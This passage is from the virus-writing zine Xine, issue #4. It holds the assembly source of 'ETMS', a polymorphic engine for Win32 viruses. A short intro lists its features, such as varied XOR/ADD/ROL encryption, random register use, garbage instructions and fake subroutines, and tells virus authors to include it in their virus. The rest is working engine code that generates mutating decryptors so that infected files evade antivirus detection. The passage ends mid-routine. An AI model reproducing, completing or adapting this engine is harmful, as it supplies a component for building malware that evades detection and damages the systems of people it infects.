
                                        /-----------------------------\
                                        | Xine - issue #4 - Phile 300 |
                                        \-----------------------------/

;
;
;                      - expressway to my skull -
;                             [ETMS]  v0.1
;                              -b0z0/iKX-
;
; Intro:
;  This is a polymorphic engine for Win95/98/32 based viruses. It (not sure
; about this anyway) creates quite polymorphic decryptors that could be used
; to hide your virus or something else. Skip some lines to get a tech
; description and try to generate a few samples to see what it can do.
;  Somebody could ask which is the sense of such a name for a poly. The answer
; is simple: should there be a reason for everything? I find a lot of things
; totally nonsense, so why should poly engines have a name that could fit for
; a poly engine? I just felt like using this name for my poly and I did so. It
; is somewhat a change from the title of a Sonic Youth song named 'Expressway
; to yr skull' (named also 'The Crucifixion of Sean Penn' or 'Madonna, Sean and
; me'), a song that I like and that I found very near when I was writing this
; poly engine.
;
; Features:
;   Basic features:
;       - Encryption using XOR/ADD/SUB/ROL/ROR on bytes/words/dwords with
;         either fixed (fixed immediate or fixed reg) or changing key
;       - Can use all registers as pointers, counters and key holders
;       - Can encrypt from start to end and from end to beginning
;       - Can create memory reference with offset (ie. [ECX + 1234h])
;       - Counter with random costants added, counts both decrementing or
;         incrementing its value
;       - Key change using XOR/ADD/SUB/ROL/ROR/INC/DEC on bytes/words/dwords
;         of the key register
;       - Quite some different ways of counting loop
;       - Some garbage is encrypted aswell
;       - Lenght of generated decryptors range somewhere between 400
;         bytes up to 4kbs
;
;   Garbage:
;       - All the normal math, logical and comparation operations and
;         assignations on registers, immediates and memory references
;       - Moving and exchanging of registers
;       - Push of regs/imms/mem_data, pop to regs
;       - Creation of fake subroutines
;       - Conditional and unconditional jumps
;       - Usual one byte opcodes
;       - Temporary saves somewhere (to another register or to stack) important
;         registers (such as key, counter and pointer) and makes garbage with
;         them.
;       - More or less all the usual code you could find around in normal
;         programs, excepts memory writes and such. Anyway you'd better give a
;         look to some decryptors, it is not easy to write too deeply what it
;         does.
;
;
; Using the poly:
;   Just add the ETMS source in your virus, simply:
;     include         etms.asm
;   Set the registers as described below and then call the poly. The poly uses
;  some data for internal purposes. This data of course is not needed to be
;  carried around with your infected file or whatever. You can just include
;  the ETMS source at the end of the file and then skip the bytes that start
;  from the label _mem_data_start. Of course you'll need to have that free
;  memory placed there at runtime.
;   The random seed (the dd at seed) should be initialized at first poly
;  run to a value between 0 and 714024.
;
;    Calling parameters:
;       ECX     =       Lenght of things to be encrypted
;       ESI     =       Pointer to what we want to encrypt
;       EDI     =       Where to place decryptor and encrypted stuff
;       EBP     =       Offset at which decryptor will run
;
;    On exit:
;       EDI     =       Pointer to generated code
;       ECX     =       Lenght of generated code (decryptor + encrypted code)
;
; Note:
;  I tried to write the poly quite clearly adding quite some comments.
; Nevertheless in some parts the code could be a bit messy or strange since
; I tried to optimize it at least a bit (like converting most of direct
; memory 32bit references to a reference [reg + off8] that are much shorter).
; I apologize for some quite messy code and if you have some problems
; understanding something, please contact me.
;
; Contacts:
;  For any question, comment or whatever about the poly or about whatever feel
; free to mail me at cl0wn@geocities.com.
;
;

poly:
        cld
        push    edi
        push    edi

        call    poly_delta
poly_delta:
        pop     eax                     ; where we are running
        sub     eax,offset poly_delta
        push    eax

        lea     ebx,[offset t_inipnt + eax]

o_tini  equ     offset t_inipnt         ; save some bytes since off between
                                        ; various data is a 8b

        mov     dword ptr [ebx],edi
        mov     dword ptr [ebx - (o_tini - offset v_lenght)],ecx
        mov     dword ptr [ebx - (o_tini - offset v_virusp)],esi
        mov     dword ptr [ebx - (o_tini - offset v_runnin)],ebp

        mov     dword ptr [ebx - (o_tini - offset r_pointer)],010ffffffh
        mov     dword ptr [ebx - (o_tini - offset t_chgpnt)],01000404h

        xor     eax,eax
        mov     dword ptr [ebx - (o_tini - offset t_fromend)],eax
        mov     dword ptr [ebx - (o_tini - offset t_pntoff)],eax
        mov     dword ptr [ebx - (o_tini - offset t_cntoff)],eax
        mov     dword ptr [ebx - (o_tini - offset t_inacall) - 2],eax

        xor     cl,cl
bit_loop:
        shl     ebp,1
        jc      founded_first1                  ; find higher bit with an 1
        inc     cl                              ; for random memory offsets
        jmp     bit_loop
founded_first1:
        mov     byte ptr [ebx - (o_tini - offset t_memand)],cl

        pop     ebp                             ; delta

        push    edi
        mov     al,90h
        lea     edi,[offset enc_space + ebp]
        mov     dword ptr [ebx - (o_tini - offset w_encrypt)],edi
        mov     ecx,enc_max
        rep     stosb
        pop     edi

        call    rnd_garbage

        mov     ecx,3
        lea     esi,[offset r_pointer + ebp]

init_part:
        push    ecx
select_register:
        call    get_register                    ; get a unused register
        xchg    eax,ecx

        call    set_used                        ; mark as unusable in future
        xchg    eax,ebx

select_block:
        call    get_random_al7
        and     al,011b
        jz      select_block                    ; select from 01 to 03

        dec     eax
        cmp     byte ptr [eax+esi],0ffh         ; check if that stage already
        jne     select_block                    ; done

        mov     byte ptr [eax+esi],bl           ; save the register for that
                                                ; stage
        or      al,al
        jnz     not_pointer

        mov     dword ptr [esi - (offset r_pointer - offset w_pointer)],edi
                                                ; save offset where the
                                                ; pointer is initialized
        jmp     assign_next

not_pointer:
        dec     eax
        jnz     not_counter

        mov     dword ptr [esi - (offset r_pointer - offset w_counter)],edi
        jmp     assign_next                     ; assign inital counter

not_counter:

        call    get_random                      ; get key
        mov     dword ptr [esi - (offset r_pointer - offset v_initkey)],eax
        xchg    eax,ecx

        call    get_random
        and     al,1
        jz      assign_next                     ; if so use key
        call    unset_used
        mov     byte ptr [esi+2],20h            ; don't use key
        jmp     next_loop
assign_next:
                ; BL  register
                ; EAX value
        xchg    eax,ebx                 ; in bl register
        or      al,0b8h                 ; mov base
        stosb
        xchg    eax,ecx
        stosd                           ; the value

next_loop:
        call    rnd_garbage
        pop     ecx
        loop    init_part               ; make all init steps


; now some base assignment to a pointer, counter and key (if used) registers
; has been done. here we are gonna change a bit the various registers where
; the various things has been assigned
        call    get_random_al7
        and     al,011b                 ; from 0 to 3 moves
        jz      decryptor_build_start
        xchg    eax,ecx
reg_movida:
        push    ecx
get_whichone:
        call    select_save             ; select which to change (pnt,cnt,key)
        jc      leave_this_out

        call    save_mov_xchg           ; change the regs using mov or xchg
        mov     byte ptr [edx],al
leave_this_out:
        pop     ecx
        loop    reg_movida

decryptor_build_start:
; decryptor loop begins right here

        lea     esi,[offset t_chgpnt + ebp]
        mov     dword ptr [esi - (offset t_chgpnt - offset w_loopbg)],edi

        call    get_random              ; select if starting from head or from
        and     ax,0101h                ; tail and if counter will dec or inc
        mov     word ptr [esi - (offset t_chgpnt - offset t_fromend)],ax

        xchg    eax,edx                 ; rnd in edx

        shl     edx,1                   ; add a constant to counter?
        jnc     normal_counter
        call    get_random
        mov     dword ptr [esi - (offset t_chgpnt - offset t_cntoff)],eax
normal_counter:
        cmp     byte ptr [esi - (offset t_chgpnt - offset r_pointer)],05h
                                        ; no bp + off
        je      reget_size_op

        shl     edx,1                   ; select if use only pointer or
        jc      reget_size_op           ; pointer + offset
        call    get_random              ; select random offset
        mov     dword ptr [esi - (offset t_chgpnt - offset t_pntoff)],eax
                                        ; if using get offset
reget_size_op:
        call    get_random
        mov     edx,eax
        and     eax,0fh                 ; select math operation and size
        or      eax,eax                 ; of operand
        jz      reget_size_op

;      byte  word  dword
; ror   1     6     b
; sub   2     7     c
; xor   3     8     d
; add   4     9     e
; rol   5     a     f
;
no_rorrrpr:
        cmp     byte ptr [esi - (offset t_chgpnt - offset r_regkey)],03
                                        ; if not ax,cx,dx,bx then can't be byte
        jb      can_use_all             ; as key
        cmp     al,6                    ; is byte? get another
        jb      reget_size_op

can_use_all:
        xor     ecx,ecx
        mov     cl,9
        cmp     byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
        je      no_keychanges

        shr     edx,8                   ; edx has rnd
        and     edx,011b
        mov     byte ptr [esi - (offset t_chgpnt - offset t_chgkey)],dl
        add     ecx,edx

no_keychanges:
        cmp     al,0bh
        jae     ok_counts
        sub     ecx,4d                  ; if with words 4 inc/dec less
        sub     word ptr [esi],0202h
        cmp     al,06d
        jae     ok_counts
        dec     ecx                     ; for bytes even less
        dec     ecx
        sub     word ptr [esi],0101h

ok_counts:
        push    eax
        call    rnd_garbage
get_nextseq:
        call    get_random
        and     eax,011b
        xchg    eax,edx
        cmp     byte ptr [esi+edx],0
        je      get_nextseq
        dec     byte ptr [esi+edx]
        shl     edx,2                   ; offset = * 4
        sub     edx,(offset t_chgpnt - offset o_table)
        pop     eax
        push    eax
        push    ecx
        push    esi
        mov     ecx,dword ptr [esi+edx]
        add     ecx,ebp
        call    ecx                     ; call the routine to do it
        pop     esi
        pop     ecx
        pop     eax
        loop    ok_counts

; finished decryption loop, needs comparation and jumps
        call    rnd_garbage

        xor     eax,eax
        inc     eax
        mov     ecx,dword ptr [esi - (offset t_chgpnt - offset t_cntoff)]
        or      ecx,ecx
        jnz     must_compare

get_checker:
        call    get_random
        and     eax,0fh
        cmp     al,09d
        ja      get_checker
must_compare:
        shr     al,1
        pushf
        mov     ah,byte ptr [eax + offset chk_counter + ebp]   ; get comparer
        add     ah,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
        mov     al,81h
        popf
        jc      store_d00
        inc     eax
        inc     eax
        stosw
        xor     al,al
        stosb
        jmp     make_jumps
store_d00:
        stosw
        xchg    eax,ecx
        cmp     byte ptr [esi - (offset t_chgpnt - offset t_countback)],00h
        je      not_negcnt1
        neg     eax
not_negcnt1:
        stosd
make_jumps:
        call    get_random
        ror     al,1
        jc      do_withlong
        stosw

        call    make_jmpback            ; do jump back, in EAX lenght of jump

        cmp     eax,7fh                 ; max short jump offset
        jb      ok_offsetj
        mov     edi,ebx                 ; if > then redo from start
        dec     edi
        dec     edi
        jmp     make_jumps
ok_offsetj:
        mov     ah,74h                  ; jne + offset
        xchg    al,ah
        mov     word ptr [ebx-2],ax
        jmp     done_cond
do_withlong:
        mov     ax,840fh                ; jz long
        stosw
        stosd
        call    make_jmpback            ; do jump back, in EAX lenght of jump

        mov     dword ptr [ebx-4],eax     ; store the lenght
done_cond:


; now decryption loop generation is finished
        lea     esi,[offset v_lenght + ebp]
        mov     byte ptr [esi - (offset v_lenght - offset r_used)],10h
                                        ; can use all regs (except ESP) again

        call    rnd_garbage             ; unencrypted one, some more here
        call    rnd_garbage

        push    edi
        call    rnd_garbage                     ; encrypted garbage
        pop     ecx
        neg     ecx
        add     ecx,edi                 ; how much encrypted garbage

        mov     edx,ecx
        sub     edi,edx

        add     ecx,dword ptr [esi]

        shr     ecx,2                   ; so it will be enough for b/w/d enc
        inc     ecx
        shl     ecx,2

        pop     eax
        neg     eax
        add     eax,edi                         ; lenght of decryptor
        add     eax,dword ptr [esi - (offset v_lenght - offset v_runnin)]
                                                ; running offset
        mov     ebx,dword ptr [esi - (offset v_lenght - offset w_pointer)]
        cmp     byte ptr [esi - (offset v_lenght - offset t_fromend)],00h
        pushf
        je      no_adding
        add     eax,ecx                         ; from end
no_adding:
        sub     eax,dword ptr [esi - (offset v_lenght - offset t_pntoff)]
                                                ; - pointer offset if is there
        mov     dword ptr [ebx+1],eax           ; set initial pointer

        mov     ebx,dword ptr [esi - (offset v_lenght - offset w_counter)]
        inc     ebx
        mov     eax,dword ptr [esi - (offset v_lenght - offset t_cntoff)]
        add     eax,ecx
        mov     dword ptr [ebx],eax

        cmp     byte ptr [esi - (offset v_lenght - offset t_countback)],00h
        je      not_negcnt
        neg     dword ptr [ebx]

not_negcnt:

        mov     esi,dword ptr [esi - (offset v_lenght - offset v_virusp)]

        mov     ebx,edi                 ; pointer on code to encrypt
        add     edi,edx                 ; + encrypted garbage
        popf
        je      no_adding2
        add     ebx,ecx                 ; add lenght if from end

no_adding2:

        push    ecx
        sub     ecx,edx
        rep     movsb                   ; copy what to encrypt
        pop     edx

        db      0b9h                    ; mov ecx
v_initkey       dd      00h             ; initial key value

enc_max equ     20h
; lenghts
; 6     = max encryption operation
; 4     = max 4 inc/dec counter
; 4     = max 4 inc/dec counter
; 3 * 6 = max 3 * 6 byte key change operations

enc_space:
        db      enc_max dup (90h)       ; here the encryptor will be placed
        or      edx,edx
        jnz     enc_space               ; loop

        mov     ecx,edi
        pop     edi
        sub     ecx,edi                 ; total lenght
        ret                             ; poly finished
; - ETMS return point

poly_name       db      '[ETMS] v0.1 -b0z0/iKX-',0

make_jmpback:
        push    edi

        call    rnd_garbage

        mov     al,0e9h
        stosb
        mov     eax,dword ptr [esi - (offset t_chgpnt - offset w_loopbg)]
                                                ; the jump back to start of
        sub     eax,04h                         ; the decryptor
        sub     eax,edi
        stosd

        call    rnd_garbage

        pop     eax
        mov     ebx,eax
        neg     eax
        add     eax,edi                 ; calculate lenght of jump and return
        ret                             ; with it

put_encloop_2:
        push    ecx
        xor     ecx,ecx
        inc     ecx
        inc     ecx
        jmp     short put_encloop
put_encloop_1:
        push    ecx
        xor     ecx,ecx
        inc     ecx
put_encloop:
; ecx nr of bytes
        push    eax
        xchg    edi,dword ptr [w_encrypt+ebp]   ; in EDI where we are in enc
                                                ; and save dec position
copy_it:
        stosb
        shr     eax,8
        loop    copy_it
        xchg    dword ptr [w_encrypt+ebp],edi   ; save next and restore dec pnt
        pop     eax
        pop     ecx
        ret

o_table:
o_counter       dd      offset ch_counter
o_pointer       dd      offset ch_pointer
o_key           dd      offset ch_key
o_mate          dd      offset ch_mate

ch_counter:                             ; decrement/increment counter
        mov     al,48h                  ; dec
        push    eax
        or      al,02h                  ; counter in enc uses EDX
        call    put_encloop_1
        pop     eax
        cmp     byte ptr [esi - (offset t_chgpnt - offset t_countback)],00h
        je      decrementing
        sub     al,08h                  ; else incrementing counter
decrementing:
        or      al,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
        stosb
        ret

ch_pointer:                             ; increment/decrement pointer
        mov     al,40h                  ; inc
        cmp     byte ptr [esi - (offset t_chgpnt - offset t_fromend)],00h
        je      straight_up
        add     al,08h
straight_up:
        push    eax
        or      al,03h                  ; ebx
        call    put_encloop_1
        pop     eax
        or      al,byte ptr [esi - (offset t_chgpnt - offset r_pointer)]
        stosb
        ret

ch_key:                                 ; change key register
        cmp     byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
        je      exit_keychange
get_modifier:
        call    get_random_al7
        cmp     al,6
        ja      get_modifier
        mov     cl,al
        mov     ah,byte ptr [eax + offset key_changers + ebp]
        mov     al,81h          ; add/sub/xor base
        cmp     cl,3
        jb      no_rrrr
        mov     al,0c1h         ; rol/ror base
no_rrrr:
        push    eax
reget_ksize:
        call    get_random      ; select if byte/word/dword
        and     al,011b
        jz      reget_ksize
        cmp     cl,04h          ; inc dec just on dw and dd
        jb      isntincdec
        cmp     al,01h
        je      reget_ksize
isntincdec:
        cmp     byte ptr [esi - (offset t_chgpnt - offset r_regkey)],3
        jbe     canall
        cmp     al,01b          ; byte keychange only for ax,cx,dx,bx
        je      reget_ksize
canall:
        mov     ch,al
        pop     eax
        cmp     ch,01h
        jne     no_decbyte
        dec     al
no_decbyte:
        cmp     ch,02h
        jne     no_wordprefix
        push    eax
        mov     al,66h
        stosb
        call    put_encloop_1
        pop     eax
no_wordprefix:
        cmp     cl,05h
        pushf
        jb      no_incdecch             ; inc/dec has just one byte opcode
        dec     edi
        mov     al,byte ptr [edi]
no_incdecch:
        popf
        push    eax
        jb      no_nopneeded
        mov     al,ah
        or      al,1            ; ecx key in enc loop
        call    put_encloop_1   ; for inc/dec
        jmp     short after_store
no_nopneeded:
        or      ah,1            ; key is ECX in enc loop
        call    put_encloop_2
after_store:
        pop     eax
        or      ah,byte ptr [esi - (offset t_chgpnt - offset r_regkey)]
        stosw
        cmp     cl,05           ; inc/dec doesn't need any key
        jae     exit_keychange
        call    get_random
        cmp     cl,03
        jae     just_one_bk     ; ror/rol just one byte key
        cmp     ch,01h
        je      just_one_bk     ; check dimension of key modifier
        stosb
        call    put_encloop_1
        shr     eax,8h
        cmp     ch,02h
        je      just_one_bk
        stosw
        call    put_encloop_2
        shr     eax,10h
just_one_bk:
        stosb
        call    put_encloop_1
exit_keychange:
        ret

ch_mate:                        ; creates the decryption math operation
        xor     edx,edx
        mov     ecx,5h
type_sel:
        cmp     eax,ecx
        jbe     ok_regs
        inc     edx
        sub     eax,ecx
        jmp     type_sel        ; get type and size.. in EDX size, in EAX type
                                ; edx = 0 for byte, 1 for word, 2 for dword
ok_regs:
        cmp     byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
        lea     esi,[offset _math_imm + ebp]
        je      without_key
        add     esi,(offset _math_key - offset _math_imm)
without_key:
        dec     eax             ; type - 1
        push    esi
        push    eax
        shl     eax,1           ; each type is a word
        add     esi,eax
        lodsw                   ; ax = mathop word

        cmp     dl,1
        jne     not_word
        push    eax
        mov     al,066h
        stosb
        call    put_encloop_1
        pop     eax
not_word:
        or      dl,dl
        jnz     not_byte
        dec     al
not_byte:
        pop     ebx             ; type - 1
        pop     esi             ;

        push    ebx

        push    eax
        neg     ebx
        add     ebx,4           ; get opposite math operation
        shl     ebx,1
        add     esi,ebx
        lodsw

        lea     esi,[offset r_regkey + ebp]
        cmp     byte ptr [esi],20h
        je      ok_regskey
        cmp     al,0d3h
        je      ok_regskey
        add     ah,08h          ; since ECX is used as key
ok_regskey:
        or      dl,dl
        jnz     not_byterev
        dec     al
not_byterev:
        add     ah,03h          ; in enc loop using EBX
        call    put_encloop_2
        pop     eax

        mov     cl,byte ptr [esi - (offset r_regkey - offset r_pointer)]
        cmp     cl,03h          ; eax-ebx
        ja      upper_ones
        add     ah,cl
        jmp     ok_register_p
upper_ones:
        add     ah,06h
        cmp     cl,06h          ; esi
        je      ok_register_p
        inc     ah
        cmp     cl,07h          ; edi
        je      ok_register_p
        add     ah,03eh         ; ebp
ok_register_p:

        pop     ecx             ; type-1

        cmp     dword ptr [esi - (offset r_regkey - offset t_pntoff)],0
        je      not_plusoff
        add     ah,80h
not_plusoff:
        stosw

        xor     eax,eax

        cmp     byte ptr [esi],20h    ; using key?
        je      ok_register_k

        or      cl,cl
        je      check_rr
        cmp     cl,4
        jne     not_rol_ror
check_rr:
        cmp     byte ptr [esi],1   ; is key CX (cl)
        je      ok_register_k
        mov     al,10h                  ; if not put just immediate
        sub     byte ptr [edi-2],12h

        mov     ebx,dword ptr [esi - (offset r_regkey - offset w_encrypt)]
        sub     byte ptr [ebx-2],12h

        push    ecx
        mov     bl,20h
        xchg    bl,byte ptr [esi]       ; won't use key reg anymore in the
        call    unset_used              ; future, so use for garbage
        pop     ecx
        jmp     short ok_register_k

not_rol_ror:
        mov     al,byte ptr [esi]
        shl     eax,3                   ; * 8
        add     byte ptr [edi-1],al     ; key register

ok_register_k:
        cmp     byte ptr [esi - (offset r_regkey - offset r_pointer)],05h
        jne     not_usingbp
        mov     byte ptr [edi],00h
        inc     edi
not_usingbp:

        mov     eax,dword ptr [esi - (offset r_regkey - offset t_pntoff)]
        or      eax,eax
        jz      no_offsetadd
        stosd
no_offsetadd:
        cmp     byte ptr [esi],20h
        jne     no_key_needed

        mov     eax,dword ptr [esi - (offset r_regkey - offset v_initkey)]
        or      cl,cl
        je      byte_key
        cmp     cl,4
        je      byte_key
        or      dl,dl
        je      byte_key

        stosb
        call    put_encloop_1

        shr     eax,8
        dec     dl
        jz      byte_key
        stosw
        call    put_encloop_2
        shr     eax,10h
byte_key:
        stosb
        call    put_encloop_1

no_key_needed:
        ret

rnd_garbage:
        push    ecx
        push    eax
        call    get_random
        and     eax,0fh         ; max - 1
        inc     eax             ; not zero
        xchg    eax,ecx

garbager:
; ecx how many
        push    edx
        push    ebx
garbager_loop:
        push    ecx
get_op_type:
        call    get_random      ; how many possible types
        and     eax,0fh

        mov     ecx,[(eax*4)+offset garbage_offsets+ebp]
        add     ecx,ebp
        call    ecx                     ; call garbage routine
        pop     ecx
        loop    garbager_loop

        mov     eax,dword ptr [t_pushed+ebp]

        cmp     eax,000005h     ; if not in a call, not in a jump and
        ja      stack_is_ok     ; pushed <=5

        or      eax,eax
        jz      stack_is_ok

        inc     byte ptr [t_inacall+ebp]

        cmp     al,01h
        ja      direct_addesp
        call    do_pop_nocheck
        jmp     stack_is_ok

direct_addesp:
        push    eax             ; then correct stack
        mov     ax,0c483h       ; add esp,nr_dd * 4
        stosw
        pop     eax
        call    force_popall
stack_is_ok:
        pop     ebx
        pop     edx

        pop     eax
        pop     ecx
        ret


do_push:
        cmp     byte ptr [t_pushed+ebp],05h     ; max dwords on the stack
        ja      exit_pusher
        inc     byte ptr [t_pushed+ebp]
        call    get_random              ; 4 types of pushing
        and     al,011b
        jz      push_register           ; normal push reg
        dec     al
        jz      push_immediate_dd       ; push immediate double
        dec     al
        jz      push_immediate_by       ; push immediate byte

        mov     ax,35ffh                ; push immediate from memory
        stosw
        call    get_address
        jmp     pre_exit_dd

push_immediate_by:
        mov     al,6ah
        stosb
        call    get_random
        shr     al,1
        jc      zero_or_menouno
        call    get_random              ; normal push as byte
        jmp     pre_exit_pusher

zero_or_menouno:                        ; very usual pushes
        and     al,01b                  ; so we will get 0 or -1
        dec     al                      ; to LARGE 0 or to LARGE -1
        jmp     pre_exit_pusher

push_immediate_dd:
        mov     al,68h
        stosb
        call    get_random
pre_exit_dd:
        stosd                           ; normal push as double
        jmp     exit_pusher

push_register:
        call    get_random_al7
        add     al,050h
pre_exit_pusher:
        stosb
exit_pusher:
        jmp     exit_ppc

do_pop:
        cmp     byte ptr [t_pushed+ebp],00h
        je      return_nopop
do_pop_nocheck:
        call    get_random
        shr     al,1
        jnc     popintoreg2
        mov     ax,0c483h       ; add esp,
        stosw
get_number:
        call    get_random_al7
        jz      get_number
        cmp     al,byte ptr [t_pushed+ebp]
        ja      get_number
force_popall:
        sub     byte ptr [t_pushed+ebp],al
        shl     al,2            ; dd are pushed, so * 4
        jmp     store_ngo2
popintoreg2:
        call    get_register
        add     cl,058h         ; pop in a register
        xchg    eax,ecx
        dec     byte ptr [t_pushed+ebp]
store_ngo2:
        stosb
return_nopop:
        jmp     exit_ppc

call_subroutines:
        cmp     word ptr [t_maxjmps+ebp],0h      ; don't nest too much nor
        jne     just_exit_call                   ; put pushes/pops in subs and
                                                 ; we can't know wassup in
                                                 ; conditional jumps and such

        inc     byte ptr [t_inacall+ebp]

        call    get_random_al7
        cmp     al,01h          ; 00h and 01h push
        jbe     do_push
        cmp     al,05           ; 02h - 05h pops (more probable so final stack
        jbe     do_pop          ; correction should be needed less often)

        ; 06,07 do a call
        mov     al,0e8h
        stosb
        stosd           ; place for offset

        push    edi
        call    rnd_garbage
        pop     ebx

        mov     al,0e9h
        stosb
        stosd                   ; jump offset
        push    edi
        call    rnd_garbage

        push    ebx
        neg     ebx
        add     ebx,edi
        xchg    eax,ebx
        pop     ebx

        mov     dword ptr [ebx-4],eax   ; call offset

        call    rnd_garbage    ; this is the called "subroutine"

        call    get_random      ; more ways of getting back from subroutine,
        shr     al,1            ; either with normal ret or by correcting the
        jnc     normal_ret      ; stack by popping or by adding to esp
        shr     al,1
        jnc     popintoreg
        mov     ax,0c483h       ; add esp,
        stosw
        mov     al,4
        jmp     store_ngo
popintoreg:
        call    get_register
        add     cl,058h         ; pop base
        xchg    eax,ecx
        jmp     store_ngo
normal_ret:
        mov     al,0c3h         ; ret
        stosb
        call    get_random_al7
        cmp     al,3
        ja      no_ccs
        xchg    eax,ecx
        mov     al,0cch         ; int3, usual after subroutines in win32s
        rep     stosb
store_ngo:
        stosb
no_ccs:
        call    rnd_garbage

        pop     ebx             ; jump offset

        push    ebx
        neg     ebx
        add     ebx,edi
        xchg    eax,ebx
        pop     ebx

        mov     dword ptr [ebx-4],eax
exit_ppc:
        dec     byte ptr [t_inacall+ebp]
just_exit_call:
        ret

maths_immediate_short:
        stc
        jmp     maths_immediate_1

maths_immediate:
        clc
maths_immediate_1:
        pushf
        call    get_random_al7 ; 0 to 7
        shl     al,3           ; * 8
        add     al,0c0h        ; the base
        popf
        push    eax
        pushf
        call    get_register
        add     al,cl
        mov     ah,81h          ; prefix
        popf
        pushf
        jnc     not_a_shortone
        inc     ah
        inc     ah
not_a_shortone:
        xchg    ah,al
        stosw
        call    g_dimension
        popf
        jnc     not_a_shortone2
        mov     cl,01h
not_a_shortone2:
        call    put_immediates
        pop     eax
        cmp     al,0f8h         ; is a CMP
        jne     not_compare
make_jmp_after_cmp:
        call    get_random
        and     eax,01b         ; long or short jump
        add     al,06h          ; short jump
        jmp     make_jump
not_compare:
        ret

cdq_jmps_savestack:
        call    get_random_al7
        sub     al,3
        jc      exit_c_j_ss
        xchg    eax,ecx
        mov     al,byte ptr [ecx+offset change_jump+ebp]
        cmp     cl,1
        ja      not_cdq_cbw

        test    byte ptr [r_used+ebp],0101b ; EAX and EDX for cbw,cwd,cdq,cwde
        jnz     exit_c_j_ss
        stosb
        inc     edi
        call    g_dimension
        dec     edi
        jmp     exit_c_j_ss
not_cdq_cbw:
        cmp     cl,4
        je      pushandmov
        add     cl,4                    ; this is used for dimension
        jmp     do_that_fjump           ; do as for conditional ones
pushandmov:

        call    select_save
        jc      exit_c_j_ss

        xchg    eax,ebx
        mov     al,50h                  ; push

        xor     ch,ch                   ; so it won't be erased from stack
        xchg    ch,byte ptr [t_pushed+ebp]

        push    ecx
        call    unset_used              ; mark that as unused one
        add     al,bl                   ; push the reg
        stosb
        call    rnd_garbage
        add     al,08h          ; pop opcode
        stosb

        pop     ebx
        mov     byte ptr [t_pushed+ebp],bh
        mov     byte ptr [r_used+ebp],bl
exit_c_j_ss:
        ret


gen_one_byters:
        call    get_random_al7
make_jump:
        mov     cl,al
        mov     al,byte ptr [eax+offset one_byters+ebp]   ; get onebyter
        cmp     cl,05h
        jbe     not_jump
do_that_fjump:
        cmp     byte ptr [t_maxjmps+ebp],3        ; don't nest too much
        je      just_exit
        inc     byte ptr [t_maxjmps+ebp]

        cmp     al,0e9h                 ; for unconditional ones skip some
        jae     skip_unc                ; things

        cmp     cl,07h
        jne     not_longjump
        push    eax
        mov     al,0fh                  ; long prefix
        stosb
        pop     eax
not_longjump:
        push    eax
        call    get_random
        and     al,0fh
        mov     ch,al
        pop     eax
        add     al,ch
skip_unc:
        stosb                           ; type of jump
        stosb                   ; first off
        cmp     cl,07h
        jne     not_longone
        dec     edi
        stosd
not_longone:
        push    edi
        call    rnd_garbage
        pop     ebx
        mov     eax,edi
        sub     eax,ebx                 ; offset of jump
        dec     byte ptr [t_maxjmps+ebp]
        cmp     cl,7
        je      long_jumper
        cmp     eax,7fh                 ; if not too big then use it
        jb      good_jump
        mov     edi,ebx                 ; else forget everything
        dec     edi
        dec     edi
        ret
good_jump:
        mov     byte ptr [ebx-1],al
        ret
long_jumper:
        mov     dword ptr [ebx-4],eax
        ret
not_jump:
        stosb
just_exit:
        ret

mem_assign:
        mov     ax,058bh
        jmp     mem_common

mem_mathops:
        call    get_random_al7  ; 0 to 7
        shl     al,3
        add     al,03h          ; base
mem_common:
        push    eax
        call    get_register
        shl     cl,3            ; *8
        add     cl,05h          ; base for eax
        mov     ah,cl
        stosw
        call    g_dimension

; now offset
        call    get_address
        stosd
        pop     eax
        cmp     al,3bh                  ; is a cmp
        je      make_jmp_after_cmp      ; if so force a compare
        ret


mov_registers:
        call    get_random_al7          ; random source
        add     al,0c0h
        mov     ah,08bh
        call    get_register            ; useful dest
        shl     cl,3
        add     al,cl
        xchg    ah,al
        stosw
        jmp     g_dimension

maths_registers:
        call    get_random_al7
        shl     al,3
        add     al,03h         ; base
        mov     ah,0c0h         ; suff
        push    eax

        call    get_register    ; dest
        shl     cl,03h
        add     ah,cl

        xchg    eax,ecx             ; save temp in ecx
        call    get_random_al7      ; all regs
        xchg    eax,ecx             ; reg in ECX and restore EAX

        add     ah,cl
        stosw

        call    g_dimension
        pop     eax
        cmp     al,3bh
        je      make_jmp_after_cmp
        ret

rotating_imms:
        call    get_random_al7
        cmp     al,0110b                ; 0f0 doesn't exist
        je      rotating_imms
        shl     al,3                    ; *8
        add     al,0c0h

        call    get_register
        add     al,cl
        mov     ah,0c1h
        xchg    al,ah
        stosw
        call    g_dimension
        xor     ecx,ecx
        inc     cl
        jmp     put_immediates

notneg_register:
        call    get_random
        shr     al,1
        mov     ax,0d0f7h
        jc      not_add
        add     ah,08h
not_add:
        call    get_register
        add     ah,cl
        stosw
;        jmp     g_dimension

g_dimension:
; EDI after generated garb
reget_dim:
        call    get_random
        and     eax,010b        ; 0 or 2
        jnz     no_change
word_change:
        mov     ecx,dword ptr [edi-2]
        mov     byte ptr [edi-2],66h    ; the prefix
        mov     dword ptr [edi-1],ecx
        inc     edi
no_change:
        inc     eax
        inc     eax
        xchg    eax,ecx                 ; in ECX needed immediates
        ret

imm_assign:
        call    get_register
        mov     al,0b8h         ; base
        add     al,cl
        stosb
        inc     edi
        call    g_dimension
        dec     edi
;        jmp     put_immediates

put_immediates:
; cl how many
        call    get_random
put_imm_part:
        stosb
        shr     eax,8
        loop    put_imm_part
        ret

inc_dec_reg:
        call    get_random
        and     al,01b
        shl     al,3                    ; * 8, so will be 0 or 8
        add     al,40h                  ; incdec generation
        call    get_register
        add     al,cl
        stosb
        inc     edi
        call    g_dimension
        dec     edi
        ret

xchg_regs:
        mov     ax,0c087h               ; xchg eax,eax
        call    get_register
        add     ah,cl
        call    get_register
common_test_xchg:
        shl     cl,3
        add     ah,cl
        stosw
        jmp     g_dimension

test_regs:
        mov     ax,0c085h               ; test eax,eax
        push    eax
        call    get_random_al7
        mov     ch,al
        call    get_random_al7
        mov     cl,al
        pop     eax
        add     ah,ch
        jmp     common_test_xchg

temp_save_change:
        call    get_random_al7
        sub     al,6                    ; 1/4 probability, since this couldn't
        jc      skip_changer            ; come too often

        call    select_save
        jc      skip_changer

        push    ecx
        call    save_mov_xchg

        xchg    eax,ecx                 ; in al new register
        mov     al,byte ptr [edx]       ; imp_reg
